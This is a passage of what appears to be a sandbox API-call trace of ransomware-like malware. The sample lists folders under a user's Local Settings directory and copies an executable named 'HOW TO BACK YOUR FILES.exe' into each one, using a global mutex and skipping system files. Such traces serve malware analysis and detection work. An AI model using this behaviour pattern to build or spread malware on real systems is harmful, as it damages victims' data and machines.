ftLastAccessTime.dwHighDateTime=0x1d575b6, ftLastWriteTime.dwLowDateTime=0xbbee4d00, ftLastWriteTime.dwHighDateTime=0x1d575b6, nFileSizeHigh=0x0, nFileSizeLow=0x7000, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="HOW TO BACK YOUR FILES.exe", cAlternateFileName="HOWTOB~1.EXE")) returned 1 [0102.023] lstrcmpiW (lpString1="HOW TO BACK YOUR FILES.exe", lpString2="HOW TO BACK YOUR FILES.exe") returned 0 [0102.023] FindNextFileW (in: hFindFile=0x529bd0, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x28d257a0, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x4f090c50, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x4f090c50, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Low", cAlternateFileName="")) returned 1 [0102.023] lstrcmpiW (lpString1="Low", lpString2="HOW TO BACK YOUR FILES.exe") returned 1 [0102.023] lstrcmpiW (lpString1="Low", lpString2="CUsersGustavoDesktopAthena865.exe") returned 1 [0102.023] lstrcmpiW (lpString1="Low", lpString2=".") returned 1 [0102.023] lstrcmpiW (lpString1="Low", lpString2="..") returned 1 [0102.023] lstrcmpiW (lpString1="Low", lpString2="windows") returned -1 [0102.023] lstrcmpiW (lpString1="Low", lpString2="bootmgr") returned 1 [0102.023] lstrcmpiW (lpString1="Low", lpString2="temp") returned -1 [0102.023] lstrcmpiW (lpString1="Low", lpString2="pagefile.sys") returned -1 [0102.023] lstrcpyW (in: lpString1=0x241e8d4, lpString2="Low" | out: lpString1="Low") returned="Low" [0102.023] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0xc) returned 0x50b708 [0102.023] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0x94) returned 0x53d5e0 [0102.023] lstrcatW (in: lpString1="Low", lpString2="\\" | out: lpString1="Low\\") returned="Low\\" [0102.023] lstrcatW (in: lpString1="Low\\", lpString2="HOW TO BACK YOUR FILES.exe" | out: lpString1="Low\\HOW TO BACK YOUR FILES.exe") returned="Low\\HOW TO BACK YOUR FILES.exe" [0102.023] CopyFileW (lpExistingFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), lpNewFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\Local Settings\\History\\Low\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\local settings\\history\\low\\how to back your files.exe"), bFailIfExists=1) returned 1 [0102.026] FindNextFileW (in: hFindFile=0x529bd0, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x28d257a0, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x4f090c50, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x4f090c50, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Low", cAlternateFileName="")) returned 0 [0102.026] FindClose (in: hFindFile=0x529bd0 | out: hFindFile=0x529bd0) returned 1 [0102.026] ReleaseMutex (hMutex=0xec) returned 1 [0102.026] CloseHandle (hObject=0xec) returned 1 [0102.026] lstrcpyW (in: lpString1=0x241e848, lpString2="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\Local Settings\\Microsoft" | out: lpString1="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\Local Settings\\Microsoft") returned="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\Local Settings\\Microsoft" [0102.026] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x50b970 | out: hHeap=0x4f0000) returned 1 [0102.026] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x50b780 | out: hHeap=0x4f0000) returned 1 [0102.026] lstrlenW (lpString="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\Local Settings\\Microsoft") returned 71 [0102.026] CreateMutexA (lpMutexAttributes=0x0, bInitialOwner=0, lpName="Global\\C0E07D282758864A9BD9AD6ACB2DB866") returned 0xec [0102.026] WaitForSingleObject (hHandle=0xec, dwMilliseconds=0x0) returned 0x0 [0102.026] lstrcatW (in: lpString1="", lpString2="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\Local Settings\\Microsoft" | out: lpString1="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\Local Settings\\Microsoft") returned="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\Local Settings\\Microsoft" [0102.026] lstrcatW (in: lpString1="", lpString2="HOW TO BACK YOUR FILES.exe" | out: lpString1="HOW TO BACK YOUR FILES.exe") returned="HOW TO BACK YOUR FILES.exe" [0102.026] CopyFileW (lpExistingFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), lpNewFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\Local Settings\\Microsoft\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\local settings\\microsoft\\how to back your files.exe"), bFailIfExists=1) returned 0 [0102.027] CreateFileW (lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\Local Settings\\Microsoft\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\local settings\\microsoft\\how to back your files.exe"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xf4 [0102.027] GetLastError () returned 0x0 [0102.027] GetFileSizeEx (in: hFile=0xf4, lpFileSize=0x241e480 | out: lpFileSize=0x241e480*=28672) returned 1 [0102.027] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x7000) returned 0x546058 [0102.027] ReadFile (in: hFile=0xf4, lpBuffer=0x546058, nNumberOfBytesToRead=0x7000, lpNumberOfBytesRead=0x241e47c, lpOverlapped=0x0 | out: lpBuffer=0x546058*, lpNumberOfBytesRead=0x241e47c*=0x7000, lpOverlapped=0x0) returned 1 [0102.028] CloseHandle (hObject=0xf4) returned 1 [0102.028] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x546058 | out: hHeap=0x4f0000) returned 1 [0102.028] lstrcatW (in: lpString1="", lpString2="\\*" | out: lpString1="\\*") returned="\\*" [0102.028] FindFirstFileW (in: lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\Local Settings\\Microsoft\\*", lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x28d257a0, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0xc628b580, ftLastAccessTime.dwHighDateTime=0x1d575b6, ftLastWriteTime.dwLowDateTime=0xc628b580, ftLastWriteTime.dwHighDateTime=0x1d575b6, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x529bd0 [0102.028] lstrcmpiW (lpString1=".", lpString2="HOW TO BACK YOUR FILES.exe") returned -1 [0102.028] lstrcmpiW (lpString1=".", lpString2="CUsersGustavoDesktopAthena865.exe") returned -1 [0102.028] FindNextFileW (in: hFindFile=0x529bd0, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x28d257a0, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0xc628b580, ftLastAccessTime.dwHighDateTime=0x1d575b6, ftLastWriteTime.dwLowDateTime=0xc628b580, ftLastWriteTime.dwHighDateTime=0x1d575b6, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0102.028] lstrcmpiW (lpString1="..", lpString2="HOW TO BACK YOUR FILES.exe") returned -1 [0102.028] lstrcmpiW (lpString1="..", lpString2="CUsersGustavoDesktopAthena865.exe") returned -1 [0102.028] lstrcpyW (in: lpString1=0x241e8d8, lpString2="Credentials" | out: lpString1="Credentials") returned="Credentials" [0102.028] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0xc) returned 0x50b780 [0102.029] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0xa8) returned 0x512b98 [0102.029] lstrcatW (in: lpString1="Credentials", lpString2="\\" | out: lpString1="Credentials\\") returned="Credentials\\" [0102.029] lstrcatW (in: lpString1="Credentials\\", lpString2="HOW TO BACK YOUR FILES.exe" | out: lpString1="Credentials\\HOW TO BACK YOUR FILES.exe") returned="Credentials\\HOW TO BACK YOUR FILES.exe" [0102.029] CopyFileW (lpExistingFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), lpNewFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\Local Settings\\Microsoft\\Credentials\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\local settings\\microsoft\\credentials\\how to back your files.exe"), bFailIfExists=1) returned 1 [0102.031] FindNextFileW (in: hFindFile=0x529bd0, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x32121370, ftCreationTime.dwHighDateTime=0x1d2fa9b, ftLastAccessTime.dwLowDateTime=0x32121370, ftLastAccessTime.dwHighDateTime=0x1d2fa9b, ftLastWriteTime.dwLowDateTime=0x32121370, ftLastWriteTime.dwHighDateTime=0x1d2fa9b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Event Viewer", cAlternateFileName="EVENTV~1")) returned 1 [0102.031] lstrcmpiW (lpString1="Event Viewer", lpString2="HOW TO BACK YOUR FILES.exe") returned -1 [0102.031] lstrcmpiW (lpString1="Event Viewer", lpString2="CUsersGustavoDesktopAthena865.exe") returned 1 [0102.031] lstrcpyW (in: lpString1=0x241e8d8, lpString2="Event Viewer" | out: lpString1="Event Viewer") returned="Event Viewer" [0102.031] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0xc) returned 0x50b6f0 [0102.031] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0xaa) returned 0x542848 [0102.031] lstrcatW (in: lpString1="Event Viewer", lpString2="\\" | out: lpString1="Event Viewer\\") returned="Event Viewer\\" [0102.031] lstrcatW (in: lpString1="Event Viewer\\", lpString2="HOW TO BACK YOUR FILES.exe" | out: lpString1="Event Viewer\\HOW TO BACK YOUR FILES.exe") returned="Event Viewer\\HOW TO BACK YOUR FILES.exe" [0102.031] CopyFileW (lpExistingFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), lpNewFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\Local Settings\\Microsoft\\Event Viewer\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\local settings\\microsoft\\event viewer\\how to back your files.exe"), bFailIfExists=1) returned 1 [0102.034] FindNextFileW (in: hFindFile=0x529bd0, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x28d257a0, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x28f14980, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0xff0498b1, ftLastWriteTime.dwHighDateTime=0x1cb8926, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Feeds", cAlternateFileName="")) returned 1 [0102.034] lstrcmpiW (lpString1="Feeds", lpString2="HOW TO BACK YOUR FILES.exe") returned -1 [0102.034] lstrcmpiW (lpString1="Feeds", lpString2="CUsersGustavoDesktopAthena865.exe") returned 1 [0102.034] lstrcpyW (in: lpString1=0x241e8d8, lpString2="Feeds" | out: lpString1="Feeds") returned="Feeds" [0102.034] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0xc) returned 0x50b6d8 [0102.034] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0x9c) returned 0x522798 [0102.034] lstrcatW (in: lpString1="Feeds", lpString2="\\" | out: lpString1="Feeds\\") returned="Feeds\\" [0102.034] lstrcatW (in: lpString1="Feeds\\", lpString2="HOW TO BACK YOUR FILES.exe" | out: lpString1="Feeds\\HOW TO BACK YOUR FILES.exe") returned="Feeds\\HOW TO BACK YOUR FILES.exe" [0102.034] CopyFileW (lpExistingFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), lpNewFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\Local Settings\\Microsoft\\Feeds\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\local settings\\microsoft\\feeds\\how to back your files.exe"), bFailIfExists=1) returned 1 [0102.038] FindNextFileW (in: hFindFile=0x529bd0, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x2016, ftCreationTime.dwLowDateTime=0x28d257a0, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x28f3aae0, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0xfea09ee5, ftLastWriteTime.dwHighDateTime=0x1cb8926, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Feeds Cache", cAlternateFileName="FEEDSC~1")) returned 1 [0102.038] lstrcmpiW (lpString1="Feeds Cache", lpString2="HOW TO BACK YOUR FILES.exe") returned -1 [0102.038] lstrcmpiW (lpString1="Feeds Cache", lpString2="CUsersGustavoDesktopAthena865.exe") returned 1 [0102.038] lstrcpyW (in: lpString1=0x241e8d8, lpString2="Feeds Cache" | out: lpString1="Feeds Cache") returned="Feeds Cache" [0102.038] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0xc) returned 0x50b380 [0102.038] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0xa8) returned 0x512c48 [0102.038] lstrcatW (in: lpString1="Feeds Cache", lpString2="\\" | out: lpString1="Feeds Cache\\") returned="Feeds Cache\\" [0102.038] lstrcatW (in: lpString1="Feeds Cache\\", lpString2="HOW TO BACK YOUR FILES.exe" | out: lpString1="Feeds Cache\\HOW TO BACK YOUR FILES.exe") returned="Feeds Cache\\HOW TO BACK YOUR FILES.exe" [0102.038] CopyFileW (lpExistingFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), lpNewFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\Local Settings\\Microsoft\\Feeds Cache\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\local settings\\microsoft\\feeds cache\\how to back your files.exe"), bFailIfExists=1) returned 1 [0102.043] FindNextFileW (in: hFindFile=0x529bd0, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x3d1d6940, ftCreationTime.dwHighDateTime=0x1d2fad7, ftLastAccessTime.dwLowDateTime=0x3d1d6940, ftLastAccessTime.dwHighDateTime=0x1d2fad7, ftLastWriteTime.dwLowDateTime=0x3d1d6940, ftLastWriteTime.dwHighDateTime=0x1d2fad7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="FORMS", cAlternateFileName="")) returned 1 [0102.043] lstrcmpiW (lpString1="FORMS", lpString2="HOW TO BACK YOUR FILES.exe") returned -1 [0102.043] lstrcmpiW (lpString1="FORMS", lpString2="CUsersGustavoDesktopAthena865.exe") returned 1 [0102.043] lstrcpyW (in: lpString1=0x241e8d8, lpString2="FORMS" | out: lpString1="FORMS") returned="FORMS" [0102.043] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0xc) returned 0x50b320 [0102.043] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0x9c) returned 0x522108 [0102.043] lstrcatW (in: lpString1="FORMS", lpString2="\\" | out: lpString1="FORMS\\") returned="FORMS\\" [0102.043] lstrcatW (in: lpString1="FORMS\\", lpString2="HOW TO BACK YOUR FILES.exe" | out: lpString1="FORMS\\HOW TO BACK YOUR FILES.exe") returned="FORMS\\HOW TO BACK YOUR FILES.exe" [0102.043] CopyFileW (lpExistingFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), lpNewFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\Local Settings\\Microsoft\\FORMS\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\local settings\\microsoft\\forms\\how to back your files.exe"), bFailIfExists=1) returned 1 [0102.045] FindNextFileW (in: hFindFile=0x529bd0, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xc628b580, ftCreationTime.dwHighDateTime=0x1d575b6, ftLastAccessTime.dwLowDateTime=0xc628b580, ftLastAccessTime.dwHighDateTime=0x1d575b6, ftLastWriteTime.dwLowDateTime=0xbbee4d00, ftLastWriteTime.dwHighDateTime=0x1d575b6, nFileSizeHigh=0x0, nFileSizeLow=0x7000, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="HOW TO BACK YOUR FILES.exe", cAlternateFileName="HOWTOB~1.EXE")) returned 1 [0102.045] lstrcmpiW (lpString1="HOW TO BACK YOUR FILES.exe", lpString2="HOW TO BACK YOUR FILES.exe") returned 0 [0102.045] FindNextFileW (in: hFindFile=0x529bd0, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xcd754c00, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0xcd754c00, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0xcd754c00, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="IME12", cAlternateFileName="")) returned 1 [0102.045] lstrcmpiW (lpString1="IME12", lpString2="HOW TO BACK YOUR FILES.exe") returned 1 [0102.045] lstrcmpiW (lpString1="IME12", lpString2="CUsersGustavoDesktopAthena865.exe") returned 1 [0102.045] lstrcpyW (in: lpString1=0x241e8d8, lpString2="IME12" | out: lpString1="IME12") returned="IME12" [0102.045] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0xc) returned 0x50b2d8 [0102.045] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0x9c) returned 0x522060 [0102.046] lstrcatW (in: lpString1="IME12", lpString2="\\" | out: lpString1="IME12\\") returned="IME12\\" [0102.046] lstrcatW (in: lpString1="IME12\\", lpString2="HOW TO BACK YOUR FILES.exe" | out: lpString1="IME12\\HOW TO BACK YOUR FILES.exe") returned="IME12\\HOW TO BACK YOUR FILES.exe" [0102.046] CopyFileW (lpExistingFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), lpNewFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\Local Settings\\Microsoft\\IME12\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\local settings\\microsoft\\ime12\\how to back your files.exe"), bFailIfExists=1) returned 1 [0102.048] FindNextFileW (in: hFindFile=0x529bd0, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xcd72eaa0, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0xcd72eaa0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0xcd72eaa0, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="IMJP12", cAlternateFileName="")) returned 1 [0102.048] lstrcmpiW (lpString1="IMJP12", lpString2="HOW TO BACK YOUR FILES.exe") returned 1 [0102.048] lstrcmpiW (lpString1="IMJP12", lpString2="CUsersGustavoDesktopAthena865.exe") returned 1 [0102.048] lstrcpyW (in: lpString1=0x241e8d8, lpString2="IMJP12" | out: lpString1="IMJP12") returned="IMJP12" [0102.048] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0xc) returned 0x50b2a8 [0102.048] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0x9e) returned 0x521fb8 [0102.048] lstrcatW (in: lpString1="IMJP12", lpString2="\\" | out: lpString1="IMJP12\\") returned="IMJP12\\" [0102.048] lstrcatW (in: lpString1="IMJP12\\", lpString2="HOW TO BACK YOUR FILES.exe" | out: lpString1="IMJP12\\HOW TO BACK YOUR FILES.exe") returned="IMJP12\\HOW TO BACK YOUR FILES.exe" [0102.048] CopyFileW (lpExistingFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), lpNewFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\Local Settings\\Microsoft\\IMJP12\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\local settings\\microsoft\\imjp12\\how to back your files.exe"), bFailIfExists=1) returned 1 [0102.051] FindNextFileW (in: hFindFile=0x529bd0, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xcd72eaa0, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0xcd72eaa0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0xcd72eaa0, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="IMJP8_1", cAlternateFileName="")) returned 1 [0102.051] lstrcmpiW (lpString1="IMJP8_1", lpString2="HOW TO BACK YOUR FILES.exe") returned 1 [0102.051] lstrcmpiW (lpString1="IMJP8_1", lpString2="CUsersGustavoDesktopAthena865.exe") returned 1 [0102.051] lstrcpyW (in: lpString1=0x241e8d8, lpString2="IMJP8_1" | out: lpString1="IMJP8_1") returned="IMJP8_1" [0102.051] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0xc) returned 0x50b290 [0102.051] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0xa0) returned 0x522c30 [0102.051] lstrcatW (in: lpString1="IMJP8_1", lpString2="\\" | out: lpString1="IMJP8_1\\") returned="IMJP8_1\\" [0102.051] lstrcatW (in: lpString1="IMJP8_1\\", lpString2="HOW TO BACK YOUR FILES.exe" | out: lpString1="IMJP8_1\\HOW TO BACK YOUR FILES.exe") returned="IMJP8_1\\HOW TO BACK YOUR FILES.exe" [0102.051] CopyFileW (lpExistingFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), lpNewFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\Local Settings\\Microsoft\\IMJP8_1\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\local settings\\microsoft\\imjp8_1\\how to back your files.exe"), bFailIfExists=1) returned 1 [0102.053] FindNextFileW (in: hFindFile=0x529bd0, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xcd72eaa0, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0xcd72eaa0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0xcd72eaa0, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="IMJP9_0", cAlternateFileName="")) returned 1 [0102.053] lstrcmpiW (lpString1="IMJP9_0", lpString2="HOW TO BACK YOUR FILES.exe") returned 1 [0102.053] lstrcmpiW (lpString1="IMJP9_0", lpString2="CUsersGustavoDesktopAthena865.exe") returned 1 [0102.053] lstrcpyW (in: lpString1=0x241e8d8, lpString2="IMJP9_0" | out: lpString1="IMJP9_0") returned="IMJP9_0" [0102.053] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0xc) returned 0x50b278 [0102.053] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0xa0) returned 0x522cd8 [0102.053] lstrcatW (in: lpString1="IMJP9_0", lpString2="\\" | out: lpString1="IMJP9_0\\") returned="IMJP9_0\\" [0102.054] lstrcatW (in: lpString1="IMJP9_0\\", lpString2="HOW TO BACK YOUR FILES.exe" | out: lpString1="IMJP9_0\\HOW TO BACK YOUR FILES.exe") returned="IMJP9_0\\HOW TO BACK YOUR FILES.exe" [0102.054] CopyFileW (lpExistingFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), lpNewFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\Local Settings\\Microsoft\\IMJP9_0\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\local settings\\microsoft\\imjp9_0\\how to back your files.exe"), bFailIfExists=1) returned 1 [0102.056] FindNextFileW (in: hFindFile=0x529bd0, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x28d257a0, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x1d705b70, ftLastAccessTime.dwHighDateTime=0x1d35d06, ftLastWriteTime.dwLowDateTime=0x1d705b70, ftLastWriteTime.dwHighDateTime=0x1d35d06, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Internet Explorer", cAlternateFileName="INTERN~1")) returned 1 [0102.056] lstrcmpiW (lpString1="Internet Explorer", lpString2="HOW TO BACK YOUR FILES.exe") returned 1 [0102.056] lstrcmpiW (lpString1="Internet Explorer", lpString2="CUsersGustavoDesktopAthena865.exe") returned 1 [0102.056] lstrcpyW (in: lpString1=0x241e8d8, lpString2="Internet Explorer" | out: lpString1="Internet Explorer") returned="Internet Explorer" [0102.056] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0xc) returned 0x50b230 [0102.056] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0xb4) returned 0x51cb88 [0102.056] lstrcatW (in: lpString1="Internet Explorer", lpString2="\\" | out: lpString1="Internet Explorer\\") returned="Internet Explorer\\" [0102.056] lstrcatW (in: lpString1="Internet Explorer\\", lpString2="HOW TO BACK YOUR FILES.exe" | out: lpString1="Internet Explorer\\HOW TO BACK YOUR FILES.exe") returned="Internet Explorer\\HOW TO BACK YOUR FILES.exe" [0102.056] CopyFileW (lpExistingFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), lpNewFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\Local Settings\\Microsoft\\Internet Explorer\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\local settings\\microsoft\\internet explorer\\how to back your files.exe"), bFailIfExists=1) returned 1 [0102.060] FindNextFileW (in: hFindFile=0x529bd0, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x28d257a0, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0xf7f22040, ftLastAccessTime.dwHighDateTime=0x1d3373f, ftLastWriteTime.dwLowDateTime=0xf7f22040, ftLastWriteTime.dwHighDateTime=0x1d3373f, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Media Player", cAlternateFileName="MEDIAP~1")) returned 1 [0102.060] lstrcmpiW (lpString1="Media Player", lpString2="HOW TO BACK 